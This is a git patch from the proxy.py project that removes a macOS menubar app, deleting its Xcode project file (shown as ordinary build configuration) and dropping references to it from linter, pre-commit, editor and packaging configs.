From 82be14ef13a5cb52332aff08123aa20228ede3c4 Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Sat, 1 Jan 2022 12:36:27 +0530 Subject: [PATCH 01/38] Remove menubar (#930) Remove `menubar` --- .deepsource.toml | 1 - .pre-commit-config.yaml | 7 - .vscode/settings.json | 3 +- MANIFEST.in | 1 - menubar/.gitignore | 1 - menubar/proxy.py.xcodeproj/project.pbxproj | 606 ------------------ .../contents.xcworkspacedata | 7 - .../xcshareddata/IDEWorkspaceChecks.plist | 8 - .../UserInterfaceState.xcuserstate | Bin 29254 -> 0 bytes .../UserInterfaceState.xcuserstate | Bin 22357 -> 0 bytes .../xcschemes/xcschememanagement.plist | 14 - .../xcschemes/xcschememanagement.plist | 14 - menubar/proxy.py/AppDelegate.swift | 105 --- .../AppIcon.appiconset/Contents.json | 58 -- .../proxy.py/Assets.xcassets/Contents.json | 6 - .../Contents.json | 24 - .../StatusBarButtonImage@2x.png | Bin 446 -> 0 bytes menubar/proxy.py/Base.lproj/Main.storyboard | 70 -- menubar/proxy.py/ContentView.swift | 24 - menubar/proxy.py/Info.plist | 40 -- .../Preview Assets.xcassets/Contents.json | 6 - menubar/proxy.py/proxy_py.entitlements | 10 - menubar/proxy.pyTests/Info.plist | 22 - menubar/proxy.pyTests/proxy_pyTests.swift | 34 - menubar/proxy.pyUITests/Info.plist | 22 - menubar/proxy.pyUITests/proxy_pyUITests.swift | 43 -- 26 files changed, 1 insertion(+), 1125 deletions(-) delete mode 100644 menubar/.gitignore delete mode 100644 menubar/proxy.py.xcodeproj/project.pbxproj delete mode 100644 menubar/proxy.py.xcodeproj/project.xcworkspace/contents.xcworkspacedata delete mode 100644 menubar/proxy.py.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist delete mode 100644 menubar/proxy.py.xcodeproj/project.xcworkspace/xcuserdata/abhinav.xcuserdatad/UserInterfaceState.xcuserstate delete mode 100644 menubar/proxy.py.xcodeproj/project.xcworkspace/xcuserdata/abhinavsingh.xcuserdatad/UserInterfaceState.xcuserstate delete mode 100644 menubar/proxy.py.xcodeproj/xcuserdata/abhinav.xcuserdatad/xcschemes/xcschememanagement.plist delete mode 100644 menubar/proxy.py.xcodeproj/xcuserdata/abhinavsingh.xcuserdatad/xcschemes/xcschememanagement.plist delete mode 100644 menubar/proxy.py/AppDelegate.swift delete mode 100644 menubar/proxy.py/Assets.xcassets/AppIcon.appiconset/Contents.json delete mode 100644 menubar/proxy.py/Assets.xcassets/Contents.json delete mode 100644 menubar/proxy.py/Assets.xcassets/StatusBarButtonImage.imageset/Contents.json delete mode 100644 menubar/proxy.py/Assets.xcassets/StatusBarButtonImage.imageset/StatusBarButtonImage@2x.png delete mode 100644 menubar/proxy.py/Base.lproj/Main.storyboard delete mode 100644 menubar/proxy.py/ContentView.swift delete mode 100644 menubar/proxy.py/Info.plist delete mode 100644 menubar/proxy.py/Preview Content/Preview Assets.xcassets/Contents.json delete mode 100644 menubar/proxy.py/proxy_py.entitlements delete mode 100644 menubar/proxy.pyTests/Info.plist delete mode 100644 menubar/proxy.pyTests/proxy_pyTests.swift delete mode 100644 menubar/proxy.pyUITests/Info.plist delete mode 100644 menubar/proxy.pyUITests/proxy_pyUITests.swift diff --git a/.deepsource.toml b/.deepsource.toml index 2fd3572f97..1547363654 100644 --- a/.deepsource.toml +++ b/.deepsource.toml @@ -7,7 +7,6 @@ test_patterns = [ exclude_patterns = [ "helper/**", - "menubar/**" ] [[analyzers]] diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 44c5dc6a96..516e19abc3 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -63,13 +63,6 @@ repos: src/core/plugins/inspect_traffic\.json| static/bootstrap-4\.3\.1\.min\.(cs|j)s )| - menubar/proxy\.py/( - Assets\.xcassets/( - AppIcon\.appiconset/| - StatusBarButtonImage\.imageset/| - )| - Preview\sContent/Preview\sAssets\.xcassets/ - )Contents\.json| requirements-release\.txt $ - id: requirements-txt-fixer diff --git a/.vscode/settings.json b/.vscode/settings.json index e956ff2ea9..902a32eebb 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -33,8 +33,7 @@ ".venv*/**/*.py", "venv*/**/*.py", "docs/**/*.py", - "helper/**/*.py", - "menubar/**/*.py" + "helper/**/*.py" ], "python.linting.pylintEnabled": true, "python.linting.pylintArgs": ["--generate-members"], diff --git a/MANIFEST.in b/MANIFEST.in index bdbb7aebbe..3ce454b0cf 100644 --- a/MANIFEST.in +++ b/MANIFEST.in @@ -2,4 +2,3 @@ exclude ProxyPy.png exclude Dashboard.png exclude shortlink.gif prune dashboard -prune menubar diff --git a/menubar/.gitignore b/menubar/.gitignore deleted file mode 100644 index e43b0f9889..0000000000 --- a/menubar/.gitignore +++ /dev/null @@ -1 +0,0 @@ -.DS_Store diff --git a/menubar/proxy.py.xcodeproj/project.pbxproj b/menubar/proxy.py.xcodeproj/project.pbxproj deleted file mode 100644 index d86998c5c8..0000000000 --- a/menubar/proxy.py.xcodeproj/project.pbxproj +++ /dev/null @@ -1,606 +0,0 @@ -// !$*UTF8*$! -{ - archiveVersion = 1; - classes = { - }; - objectVersion = 50; - objects = { - -/* Begin PBXBuildFile section */ - AD1F92A7238864240088A917 /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = AD1F92A6238864240088A917 /* AppDelegate.swift */; }; - AD1F92A9238864240088A917 /* ContentView.swift in Sources */ = {isa = PBXBuildFile; fileRef = AD1F92A8238864240088A917 /* ContentView.swift */; }; - AD1F92AB238864260088A917 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = AD1F92AA238864260088A917 /* Assets.xcassets */; }; - AD1F92AE238864260088A917 /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = AD1F92AD238864260088A917 /* Preview Assets.xcassets */; }; - AD1F92B1238864260088A917 /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = AD1F92AF238864260088A917 /* Main.storyboard */; }; - AD1F92BD238864260088A917 /* proxy_pyTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = AD1F92BC238864260088A917 /* proxy_pyTests.swift */; }; - AD1F92C8238864260088A917 /* proxy_pyUITests.swift in Sources */ = {isa = PBXBuildFile; fileRef = AD1F92C7238864260088A917 /* proxy_pyUITests.swift */; }; -/* End PBXBuildFile section */ - -/* Begin PBXContainerItemProxy section */ - AD1F92B9238864260088A917 /* PBXContainerItemProxy */ = { - isa = PBXContainerItemProxy; - containerPortal = AD1F929B238864240088A917 /* Project object */; - proxyType = 1; - remoteGlobalIDString = AD1F92A2238864240088A917; - remoteInfo = proxy.py; - }; - AD1F92C4238864260088A917 /* PBXContainerItemProxy */ = { - isa = PBXContainerItemProxy; - containerPortal = AD1F929B238864240088A917 /* Project object */; - proxyType = 1; - remoteGlobalIDString = AD1F92A2238864240088A917; - remoteInfo = proxy.py; - }; -/* End PBXContainerItemProxy section */ - -/* Begin PBXFileReference section */ - AD1F92A3238864240088A917 /* proxy.py.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = proxy.py.app; sourceTree = BUILT_PRODUCTS_DIR; }; - AD1F92A6238864240088A917 /* AppDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = ""; }; - AD1F92A8238864240088A917 /* ContentView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ContentView.swift; sourceTree = ""; }; - AD1F92AA238864260088A917 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; }; - AD1F92AD238864260088A917 /* Preview Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = "Preview Assets.xcassets"; sourceTree = ""; }; - AD1F92B0238864260088A917 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = ""; }; - AD1F92B2238864260088A917 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; - AD1F92B3238864260088A917 /* proxy_py.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = proxy_py.entitlements; sourceTree = ""; }; - AD1F92B8238864260088A917 /* proxy.pyTests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = proxy.pyTests.xctest; sourceTree = BUILT_PRODUCTS_DIR; }; - AD1F92BC238864260088A917 /* proxy_pyTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = proxy_pyTests.swift; sourceTree = ""; }; - AD1F92BE238864260088A917 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; - AD1F92C3238864260088A917 /* proxy.pyUITests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = proxy.pyUITests.xctest; sourceTree = BUILT_PRODUCTS_DIR; }; - AD1F92C7238864260088A917 /* proxy_pyUITests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = proxy_pyUITests.swift; sourceTree = ""; }; - AD1F92C9238864260088A917 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; -/* End PBXFileReference section */ - -/* Begin PBXFrameworksBuildPhase section */ - AD1F92A0238864240088A917 /* Frameworks */ = { - isa = PBXFrameworksBuildPhase; - buildActionMask = 2147483647; - files = ( - ); - runOnlyForDeploymentPostprocessing = 0; - }; - AD1F92B5238864260088A917 /* Frameworks */ = { - isa = PBXFrameworksBuildPhase; - buildActionMask = 2147483647; - files = ( - ); - runOnlyForDeploymentPostprocessing = 0; - }; - AD1F92C0238864260088A917 /* Frameworks */ = { - isa = PBXFrameworksBuildPhase; - buildActionMask = 2147483647; - files = ( - ); - runOnlyForDeploymentPostprocessing = 0; - }; -/* End PBXFrameworksBuildPhase section */ - -/* Begin PBXGroup section */ - AD1F929A238864240088A917 = { - isa = PBXGroup; - children = ( - AD1F92A5238864240088A917 /* proxy.py */, - AD1F92BB238864260088A917 /* proxy.pyTests */, - AD1F92C6238864260088A917 /* proxy.pyUITests */, - AD1F92A4238864240088A917 /* Products */, - ); - sourceTree = ""; - }; - AD1F92A4238864240088A917 /* Products */ = { - isa = PBXGroup; - children = ( - AD1F92A3238864240088A917 /* proxy.py.app */, - AD1F92B8238864260088A917 /* proxy.pyTests.xctest */, - AD1F92C3238864260088A917 /* proxy.pyUITests.xctest */, - ); - name = Products; - sourceTree = ""; - }; - AD1F92A5238864240088A917 /* proxy.py */ = { - isa = PBXGroup; - children = ( - AD1F92A6238864240088A917 /* AppDelegate.swift */, - AD1F92A8238864240088A917 /* ContentView.swift */, - AD1F92AA238864260088A917 /* Assets.xcassets */, - AD1F92AF238864260088A917 /* Main.storyboard */, - AD1F92B2238864260088A917 /* Info.plist */, - AD1F92B3238864260088A917 /* proxy_py.entitlements */, - AD1F92AC238864260088A917 /* Preview Content */, - ); - path = proxy.py; - sourceTree = ""; - }; - AD1F92AC238864260088A917 /* Preview Content */ = { - isa = PBXGroup; - children = ( - AD1F92AD238864260088A917 /* Preview Assets.xcassets */, - ); - path = "Preview Content"; - sourceTree = ""; - }; - AD1F92BB238864260088A917 /* proxy.pyTests */ = { - isa = PBXGroup; - children = ( - AD1F92BC238864260088A917 /* proxy_pyTests.swift */, - AD1F92BE238864260088A917 /* Info.plist */, - ); - path = proxy.pyTests; - sourceTree = ""; - }; - AD1F92C6238864260088A917 /* proxy.pyUITests */ = { - isa = PBXGroup; - children = ( - AD1F92C7238864260088A917 /* proxy_pyUITests.swift */, - AD1F92C9238864260088A917 /* Info.plist */, - ); - path = proxy.pyUITests; - sourceTree = ""; - }; -/* End PBXGroup section */ - -/* Begin PBXNativeTarget section */ - AD1F92A2238864240088A917 /* proxy.py */ = { - isa = PBXNativeTarget; - buildConfigurationList = AD1F92CC238864260088A917 /* Build configuration list for PBXNativeTarget "proxy.py" */; - buildPhases = ( - AD1F929F238864240088A917 /* Sources */, - AD1F92A0238864240088A917 /* Frameworks */, - AD1F92A1238864240088A917 /* Resources */, - ); - buildRules = ( - ); - dependencies = ( - ); - name = proxy.py; - productName = proxy.py; - productReference = AD1F92A3238864240088A917 /* proxy.py.app */; - productType = "com.apple.product-type.application"; - }; - AD1F92B7238864260088A917 /* proxy.pyTests */ = { - isa = PBXNativeTarget; - buildConfigurationList = AD1F92CF238864260088A917 /* Build configuration list for PBXNativeTarget "proxy.pyTests" */; - buildPhases = ( - AD1F92B4238864260088A917 /* Sources */, - AD1F92B5238864260088A917 /* Frameworks */, - AD1F92B6238864260088A917 /* Resources */, - ); - buildRules = ( - ); - dependencies = ( - AD1F92BA238864260088A917 /* PBXTargetDependency */, - ); - name = proxy.pyTests; - productName = proxy.pyTests; - productReference = AD1F92B8238864260088A917 /* proxy.pyTests.xctest */; - productType = "com.apple.product-type.bundle.unit-test"; - }; - AD1F92C2238864260088A917 /* proxy.pyUITests */ = { - isa = PBXNativeTarget; - buildConfigurationList = AD1F92D2238864260088A917 /* Build configuration list for PBXNativeTarget "proxy.pyUITests" */; - buildPhases = ( - AD1F92BF238864260088A917 /* Sources */, - AD1F92C0238864260088A917 /* Frameworks */, - AD1F92C1238864260088A917 /* Resources */, - ); - buildRules = ( - ); - dependencies = ( - AD1F92C5238864260088A917 /* PBXTargetDependency */, - ); - name = proxy.pyUITests; - productName = proxy.pyUITests; - productReference = AD1F92C3238864260088A917 /* proxy.pyUITests.xctest */; - productType = "com.apple.product-type.bundle.ui-testing"; - }; -/* End PBXNativeTarget section */ - -/* Begin PBXProject section */ - AD1F929B238864240088A917 /* Project object */ = { - isa = PBXProject; - attributes = { - LastSwiftUpdateCheck = 1120; - LastUpgradeCheck = 1200; - ORGANIZATIONNAME = "Abhinav Singh"; - TargetAttributes = { - AD1F92A2238864240088A917 = { - CreatedOnToolsVersion = 11.2.1; - }; - AD1F92B7238864260088A917 = { - CreatedOnToolsVersion = 11.2.1; - TestTargetID = AD1F92A2238864240088A917; - }; - AD1F92C2238864260088A917 = { - CreatedOnToolsVersion = 11.2.1; - TestTargetID = AD1F92A2238864240088A917; - }; - }; - }; - buildConfigurationList = AD1F929E238864240088A917 /* Build configuration list for PBXProject "proxy.py" */; - compatibilityVersion = "Xcode 9.3"; - developmentRegion = en; - hasScannedForEncodings = 0; - knownRegions = ( - en, - Base, - ); - mainGroup = AD1F929A238864240088A917; - productRefGroup = AD1F92A4238864240088A917 /* Products */; - projectDirPath = ""; - projectRoot = ""; - targets = ( - AD1F92A2238864240088A917 /* proxy.py */, - AD1F92B7238864260088A917 /* proxy.pyTests */, - AD1F92C2238864260088A917 /* proxy.pyUITests */, - ); - }; -/* End PBXProject section */ - -/* Begin PBXResourcesBuildPhase section */ - AD1F92A1238864240088A917 /* Resources */ = { - isa = PBXResourcesBuildPhase; - buildActionMask = 2147483647; - files = ( - AD1F92B1238864260088A917 /* Main.storyboard in Resources */, - AD1F92AE238864260088A917 /* Preview Assets.xcassets in Resources */, - AD1F92AB238864260088A917 /* Assets.xcassets in Resources */, - ); - runOnlyForDeploymentPostprocessing = 0; - }; - AD1F92B6238864260088A917 /* Resources */ = { - isa = PBXResourcesBuildPhase; - buildActionMask = 2147483647; - files = ( - ); - runOnlyForDeploymentPostprocessing = 0; - }; - AD1F92C1238864260088A917 /* Resources */ = { - isa = PBXResourcesBuildPhase; - buildActionMask = 2147483647; - files = ( - ); - runOnlyForDeploymentPostprocessing = 0; - }; -/* End PBXResourcesBuildPhase section */ - -/* Begin PBXSourcesBuildPhase section */ - AD1F929F238864240088A917 /* Sources */ = { - isa = PBXSourcesBuildPhase; - buildActionMask = 2147483647; - files = ( - AD1F92A9238864240088A917 /* ContentView.swift in Sources */, - AD1F92A7238864240088A917 /* AppDelegate.swift in Sources */, - ); - runOnlyForDeploymentPostprocessing = 0; - }; - AD1F92B4238864260088A917 /* Sources */ = { - isa = PBXSourcesBuildPhase; - buildActionMask = 2147483647; - files = ( - AD1F92BD238864260088A917 /* proxy_pyTests.swift in Sources */, - ); - runOnlyForDeploymentPostprocessing = 0; - }; - AD1F92BF238864260088A917 /* Sources */ = { - isa = PBXSourcesBuildPhase; - buildActionMask = 2147483647; - files = ( - AD1F92C8238864260088A917 /* proxy_pyUITests.swift in Sources */, - ); - runOnlyForDeploymentPostprocessing = 0; - }; -/* End PBXSourcesBuildPhase section */ - -/* Begin PBXTargetDependency section */ - AD1F92BA238864260088A917 /* PBXTargetDependency */ = { - isa = PBXTargetDependency; - target = AD1F92A2238864240088A917 /* proxy.py */; - targetProxy = AD1F92B9238864260088A917 /* PBXContainerItemProxy */; - }; - AD1F92C5238864260088A917 /* PBXTargetDependency */ = { - isa = PBXTargetDependency; - target = AD1F92A2238864240088A917 /* proxy.py */; - targetProxy = AD1F92C4238864260088A917 /* PBXContainerItemProxy */; - }; -/* End PBXTargetDependency section */ - -/* Begin PBXVariantGroup section */ - AD1F92AF238864260088A917 /* Main.storyboard */ = { - isa = PBXVariantGroup; - children = ( - AD1F92B0238864260088A917 /* Base */, - ); - name = Main.storyboard; - sourceTree = ""; - }; -/* End PBXVariantGroup section */ - -/* Begin XCBuildConfiguration section */ - AD1F92CA238864260088A917 /* Debug */ = { - isa = XCBuildConfiguration; - buildSettings = { - ALWAYS_SEARCH_USER_PATHS = NO; - CLANG_ANALYZER_NONNULL = YES; - CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; - CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; - CLANG_CXX_LIBRARY = "libc++"; - CLANG_ENABLE_MODULES = YES; - CLANG_ENABLE_OBJC_ARC = YES; - CLANG_ENABLE_OBJC_WEAK = YES; - CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; - CLANG_WARN_BOOL_CONVERSION = YES; - CLANG_WARN_COMMA = YES; - CLANG_WARN_CONSTANT_CONVERSION = YES; - CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; - CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; - CLANG_WARN_DOCUMENTATION_COMMENTS = YES; - CLANG_WARN_EMPTY_BODY = YES; - CLANG_WARN_ENUM_CONVERSION = YES; - CLANG_WARN_INFINITE_RECURSION = YES; - CLANG_WARN_INT_CONVERSION = YES; - CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; - CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; - CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; - CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; - CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; - CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; - CLANG_WARN_STRICT_PROTOTYPES = YES; - CLANG_WARN_SUSPICIOUS_MOVE = YES; - CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; - CLANG_WARN_UNREACHABLE_CODE = YES; - CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; - COPY_PHASE_STRIP = NO; - DEBUG_INFORMATION_FORMAT = dwarf; - ENABLE_STRICT_OBJC_MSGSEND = YES; - ENABLE_TESTABILITY = YES; - GCC_C_LANGUAGE_STANDARD = gnu11; - GCC_DYNAMIC_NO_PIC = NO; - GCC_NO_COMMON_BLOCKS = YES; - GCC_OPTIMIZATION_LEVEL = 0; - GCC_PREPROCESSOR_DEFINITIONS = ( - "DEBUG=1", - "$(inherited)", - ); - GCC_WARN_64_TO_32_BIT_CONVERSION = YES; - GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; - GCC_WARN_UNDECLARED_SELECTOR = YES; - GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; - GCC_WARN_UNUSED_FUNCTION = YES; - GCC_WARN_UNUSED_VARIABLE = YES; - MACOSX_DEPLOYMENT_TARGET = 10.15; - MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; - MTL_FAST_MATH = YES; - ONLY_ACTIVE_ARCH = YES; - SDKROOT = macosx; - SWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG; - SWIFT_OPTIMIZATION_LEVEL = "-Onone"; - }; - name = Debug; - }; - AD1F92CB238864260088A917 /* Release */ = { - isa = XCBuildConfiguration; - buildSettings = { - ALWAYS_SEARCH_USER_PATHS = NO; - CLANG_ANALYZER_NONNULL = YES; - CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; - CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; - CLANG_CXX_LIBRARY = "libc++"; - CLANG_ENABLE_MODULES = YES; - CLANG_ENABLE_OBJC_ARC = YES; - CLANG_ENABLE_OBJC_WEAK = YES; - CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; - CLANG_WARN_BOOL_CONVERSION = YES; - CLANG_WARN_COMMA = YES; - CLANG_WARN_CONSTANT_CONVERSION = YES; - CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; - CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; - CLANG_WARN_DOCUMENTATION_COMMENTS = YES; - CLANG_WARN_EMPTY_BODY = YES; - CLANG_WARN_ENUM_CONVERSION = YES; - CLANG_WARN_INFINITE_RECURSION = YES; - CLANG_WARN_INT_CONVERSION = YES; - CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; - CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; - CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; - CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; - CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; - CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; - CLANG_WARN_STRICT_PROTOTYPES = YES; - CLANG_WARN_SUSPICIOUS_MOVE = YES; - CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; - CLANG_WARN_UNREACHABLE_CODE = YES; - CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; - COPY_PHASE_STRIP = NO; - DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; - ENABLE_NS_ASSERTIONS = NO; - ENABLE_STRICT_OBJC_MSGSEND = YES; - GCC_C_LANGUAGE_STANDARD = gnu11; - GCC_NO_COMMON_BLOCKS = YES; - GCC_WARN_64_TO_32_BIT_CONVERSION = YES; - GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; - GCC_WARN_UNDECLARED_SELECTOR = YES; - GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; - GCC_WARN_UNUSED_FUNCTION = YES; - GCC_WARN_UNUSED_VARIABLE = YES; - MACOSX_DEPLOYMENT_TARGET = 10.15; - MTL_ENABLE_DEBUG_INFO = NO; - MTL_FAST_MATH = YES; - SDKROOT = macosx; - SWIFT_COMPILATION_MODE = wholemodule; - SWIFT_OPTIMIZATION_LEVEL = "-O"; - }; - name = Release; - }; - AD1F92CD238864260088A917 /* Debug */ = { - isa = XCBuildConfiguration; - buildSettings = { - ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; - CODE_SIGN_ENTITLEMENTS = proxy.py/proxy_py.entitlements; - CODE_SIGN_IDENTITY = "-"; - CODE_SIGN_STYLE = Automatic; - COMBINE_HIDPI_IMAGES = YES; - DEVELOPMENT_ASSET_PATHS = "\"proxy.py/Preview Content\""; - DEVELOPMENT_TEAM = G3B58EP2ZT; - ENABLE_HARDENED_RUNTIME = YES; - ENABLE_PREVIEWS = YES; - INFOPLIST_FILE = proxy.py/Info.plist; - LD_RUNPATH_SEARCH_PATHS = ( - "$(inherited)", - "@executable_path/../Frameworks", - ); - MACOSX_DEPLOYMENT_TARGET = 10.15; - PRODUCT_BUNDLE_IDENTIFIER = com.jaxl.proxy; - PRODUCT_NAME = "$(TARGET_NAME)"; - SWIFT_VERSION = 5.0; - }; - name = Debug; - }; - AD1F92CE238864260088A917 /* Release */ = { - isa = XCBuildConfiguration; - buildSettings = { - ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; - CODE_SIGN_ENTITLEMENTS = proxy.py/proxy_py.entitlements; - CODE_SIGN_IDENTITY = "-"; - CODE_SIGN_STYLE = Automatic; - COMBINE_HIDPI_IMAGES = YES; - DEVELOPMENT_ASSET_PATHS = "\"proxy.py/Preview Content\""; - DEVELOPMENT_TEAM = G3B58EP2ZT; - ENABLE_HARDENED_RUNTIME = YES; - ENABLE_PREVIEWS = YES; - INFOPLIST_FILE = proxy.py/Info.plist; - LD_RUNPATH_SEARCH_PATHS = ( - "$(inherited)", - "@executable_path/../Frameworks", - ); - MACOSX_DEPLOYMENT_TARGET = 10.15; - PRODUCT_BUNDLE_IDENTIFIER = com.jaxl.proxy; - PRODUCT_NAME = "$(TARGET_NAME)"; - SWIFT_VERSION = 5.0; - }; - name = Release; - }; - AD1F92D0238864260088A917 /* Debug */ = { - isa = XCBuildConfiguration; - buildSettings = { - ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES = YES; - BUNDLE_LOADER = "$(TEST_HOST)"; - CODE_SIGN_STYLE = Automatic; - COMBINE_HIDPI_IMAGES = YES; - DEVELOPMENT_TEAM = G3B58EP2ZT; - INFOPLIST_FILE = proxy.pyTests/Info.plist; - LD_RUNPATH_SEARCH_PATHS = ( - "$(inherited)", - "@executable_path/../Frameworks", - "@loader_path/../Frameworks", - ); - MACOSX_DEPLOYMENT_TARGET = 10.15; - PRODUCT_BUNDLE_IDENTIFIER = "com.abhinavsingh.proxy-pyTests"; - PRODUCT_NAME = "$(TARGET_NAME)"; - SWIFT_VERSION = 5.0; - TEST_HOST = "$(BUILT_PRODUCTS_DIR)/proxy.py.app/Contents/MacOS/proxy.py"; - }; - name = Debug; - }; - AD1F92D1238864260088A917 /* Release */ = { - isa = XCBuildConfiguration; - buildSettings = { - ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES = YES; - BUNDLE_LOADER = "$(TEST_HOST)"; - CODE_SIGN_STYLE = Automatic; - COMBINE_HIDPI_IMAGES = YES; - DEVELOPMENT_TEAM = G3B58EP2ZT; - INFOPLIST_FILE = proxy.pyTests/Info.plist; - LD_RUNPATH_SEARCH_PATHS = ( - "$(inherited)", - "@executable_path/../Frameworks", - "@loader_path/../Frameworks", - ); - MACOSX_DEPLOYMENT_TARGET = 10.15; - PRODUCT_BUNDLE_IDENTIFIER = "com.abhinavsingh.proxy-pyTests"; - PRODUCT_NAME = "$(TARGET_NAME)"; - SWIFT_VERSION = 5.0; - TEST_HOST = "$(BUILT_PRODUCTS_DIR)/proxy.py.app/Contents/MacOS/proxy.py"; - }; - name = Release; - }; - AD1F92D3238864260088A917 /* Debug */ = { - isa = XCBuildConfiguration; - buildSettings = { - ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES = YES; - CODE_SIGN_STYLE = Automatic; - COMBINE_HIDPI_IMAGES = YES; - DEVELOPMENT_TEAM = G3B58EP2ZT; - INFOPLIST_FILE = proxy.pyUITests/Info.plist; - LD_RUNPATH_SEARCH_PATHS = ( - "$(inherited)", - "@executable_path/../Frameworks", - "@loader_path/../Frameworks", - ); - PRODUCT_BUNDLE_IDENTIFIER = "com.abhinavsingh.proxy-pyUITests"; - PRODUCT_NAME = "$(TARGET_NAME)"; - SWIFT_VERSION = 5.0; - TEST_TARGET_NAME = proxy.py; - }; - name = Debug; - }; - AD1F92D4238864260088A917 /* Release */ = { - isa = XCBuildConfiguration; - buildSettings = { - ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES = YES; - CODE_SIGN_STYLE = Automatic; - COMBINE_HIDPI_IMAGES = YES; - DEVELOPMENT_TEAM = G3B58EP2ZT; - INFOPLIST_FILE = proxy.pyUITests/Info.plist; - LD_RUNPATH_SEARCH_PATHS = ( - "$(inherited)", - "@executable_path/../Frameworks", - "@loader_path/../Frameworks", - ); - PRODUCT_BUNDLE_IDENTIFIER = "com.abhinavsingh.proxy-pyUITests"; - PRODUCT_NAME = "$(TARGET_NAME)"; - SWIFT_VERSION = 5.0; - TEST_TARGET_NAME = proxy.py; - }; - name = Release; - }; -/* End XCBuildConfiguration section */ - -/* Begin XCConfigurationList section */ - AD1F929E238864240088A917 /* Build configuration list for PBXProject "proxy.py" */ = { - isa = XCConfigurationList; - buildConfigurations = ( - AD1F92CA238864260088A917 /* Debug */, - AD1F92CB238864260088A917 /* Release */, - ); - defaultConfigurationIsVisible = 0; - defaultConfigurationName = Release; - }; - AD1F92CC238864260088A917 /* Build configuration list for PBXNativeTarget "proxy.py" */ = { - isa = XCConfigurationList; - buildConfigurations = ( - AD1F92CD238864260088A917 /* Debug */, - AD1F92CE238864260088A917 /* Release */, - ); - defaultConfigurationIsVisible = 0; - defaultConfigurationName = Release; - }; - AD1F92CF238864260088A917 /* Build configuration list for PBXNativeTarget "proxy.pyTests" */ = { - isa = XCConfigurationList; - buildConfigurations = ( - AD1F92D0238864260088A917 /* Debug */, - AD1F92D1238864260088A917 /* Release */, - ); - defaultConfigurationIsVisible = 0; - defaultConfigurationName = Release; - }; - AD1F92D2238864260088A917 /* Build configuration list for PBXNativeTarget "proxy.pyUITests" */ = { - isa = XCConfigurationList; - buildConfigurations = ( - AD1F92D3238864260088A917 /* Debug */, - AD1F92D4238864260088A917 /* Release */, - ); - defaultConfigurationIsVisible = 0; - defaultConfigurationName = Release; - }; -/* End XCConfigurationList section */ - }; - rootObject = 